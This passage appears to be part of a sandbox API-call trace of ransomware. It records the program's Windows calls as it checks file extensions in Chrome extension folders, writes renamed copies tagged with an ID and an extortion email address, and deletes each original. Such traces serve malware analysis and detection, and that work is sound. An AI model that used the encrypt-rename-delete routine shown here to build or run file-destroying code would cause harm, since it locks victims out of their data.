HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.245] lstrlenW (lpString=".dbf") returned 4 [0175.245] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.245] lstrlenW (lpString=".1cd") returned 4 [0175.245] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.245] lstrlenW (lpString=".jpg") returned 4 [0175.245] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.245] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.245] lstrlenW (lpString="messages.json") returned 13 [0175.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.245] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=235) returned 1 [0175.246] CloseHandle (hObject=0x1ac) returned 1 [0175.246] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json")) returned 0x2020 [0175.246] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.246] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.246] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.247] GetLastError () returned 0x0 [0175.247] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xeb, lpOverlapped=0x0) returned 1 [0175.248] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.249] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.249] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.249] SetEndOfFile (hFile=0x1b4) returned 1 [0175.249] CloseHandle (hObject=0x1b4) returned 1 [0175.249] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.249] SetEndOfFile (hFile=0x1ac) returned 1 [0175.250] CloseHandle (hObject=0x1ac) returned 1 [0175.250] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.250] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json")) returned 1 [0175.250] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.250] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.250] lstrlenW (lpString=".doc") returned 4 [0175.250] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.250] lstrlenW (lpString=".docx") returned 5 [0175.250] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.250] lstrlenW (lpString=".pdf") returned 4 [0175.250] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.250] lstrlenW (lpString=".xls") returned 4 [0175.251] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.251] lstrlenW (lpString=".xlsx") returned 5 [0175.251] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.251] lstrlenW (lpString=".ppt") returned 4 [0175.251] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.251] lstrlenW (lpString=".zip") returned 4 [0175.251] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.251] lstrlenW (lpString=".rar") returned 4 [0175.251] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.251] lstrlenW (lpString=".bz2") returned 4 [0175.251] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.251] lstrlenW (lpString=".7z") returned 3 [0175.251] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.251] lstrlenW (lpString=".dbf") returned 4 [0175.251] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.251] lstrlenW (lpString=".1cd") returned 4 [0175.251] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.251] lstrlenW (lpString=".jpg") returned 4 [0175.251] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.251] lstrlenW (lpString=".doc") returned 4 [0175.251] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.251] lstrlenW (lpString=".docx") returned 5 [0175.252] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.252] lstrlenW (lpString=".pdf") returned 4 [0175.252] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.252] lstrlenW (lpString=".xls") returned 4 [0175.252] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.252] lstrlenW (lpString=".xlsx") returned 5 [0175.252] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.252] lstrlenW (lpString=".ppt") returned 4 [0175.252] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.252] lstrlenW (lpString=".zip") returned 4 [0175.252] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.252] lstrlenW (lpString=".rar") returned 4 [0175.252] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.252] lstrlenW (lpString=".bz2") returned 4 [0175.252] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.252] lstrlenW (lpString=".7z") returned 3 [0175.252] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.252] lstrlenW (lpString=".dbf") returned 4 [0175.252] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.252] lstrlenW (lpString=".1cd") returned 4 [0175.252] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.252] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 151 [0175.252] lstrlenW (lpString=".jpg") returned 4 [0175.252] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.253] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.253] lstrlenW (lpString="messages.json") returned 13 [0175.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.253] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=229) returned 1 [0175.253] CloseHandle (hObject=0x1ac) returned 1 [0175.253] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json")) returned 0x2020 [0175.253] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.254] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.254] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.254] GetLastError () returned 0x0 [0175.254] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xe5, lpOverlapped=0x0) returned 1 [0175.255] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.256] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.256] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.257] SetEndOfFile (hFile=0x1b4) returned 1 [0175.257] CloseHandle (hObject=0x1b4) returned 1 [0175.257] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.257] SetEndOfFile (hFile=0x1ac) returned 1 [0175.258] CloseHandle (hObject=0x1ac) returned 1 [0175.258] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.258] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json")) returned 1 [0175.258] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.258] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.258] lstrlenW (lpString=".doc") returned 4 [0175.258] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.258] lstrlenW (lpString=".docx") returned 5 [0175.258] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.258] lstrlenW (lpString=".pdf") returned 4 [0175.258] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.258] lstrlenW (lpString=".xls") returned 4 [0175.258] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.258] lstrlenW (lpString=".xlsx") returned 5 [0175.258] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.258] lstrlenW (lpString=".ppt") returned 4 [0175.258] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.258] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.258] lstrlenW (lpString=".zip") returned 4 [0175.259] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.259] lstrlenW (lpString=".rar") returned 4 [0175.259] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.259] lstrlenW (lpString=".bz2") returned 4 [0175.259] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.259] lstrlenW (lpString=".7z") returned 3 [0175.259] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.259] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.259] lstrlenW (lpString=".dbf") returned 4 [0175.259] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.259] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.259] lstrlenW (lpString=".1cd") returned 4 [0175.259] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.259] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.259] lstrlenW (lpString=".jpg") returned 4 [0175.259] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.259] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.259] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.259] lstrlenW (lpString=".doc") returned 4 [0175.259] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.259] lstrlenW (lpString=".docx") returned 5 [0175.259] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.259] lstrlenW (lpString=".pdf") returned 4 [0175.259] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.259] lstrlenW (lpString=".xls") returned 4 [0175.259] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.260] lstrlenW (lpString=".xlsx") returned 5 [0175.260] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.260] lstrlenW (lpString=".ppt") returned 4 [0175.260] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.260] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.260] lstrlenW (lpString=".zip") returned 4 [0175.260] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.260] lstrlenW (lpString=".rar") returned 4 [0175.260] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.260] lstrlenW (lpString=".bz2") returned 4 [0175.260] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.260] lstrlenW (lpString=".7z") returned 3 [0175.260] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.260] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.260] lstrlenW (lpString=".dbf") returned 4 [0175.260] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.260] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.260] lstrlenW (lpString=".1cd") returned 4 [0175.260] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.260] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 151 [0175.260] lstrlenW (lpString=".jpg") returned 4 [0175.260] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.260] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.260] lstrlenW (lpString="messages.json") returned 13 [0175.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.261] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=208) returned 1 [0175.261] CloseHandle (hObject=0x1ac) returned 1 [0175.261] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json")) returned 0x2020 [0175.261] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.261] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.261] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.262] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js 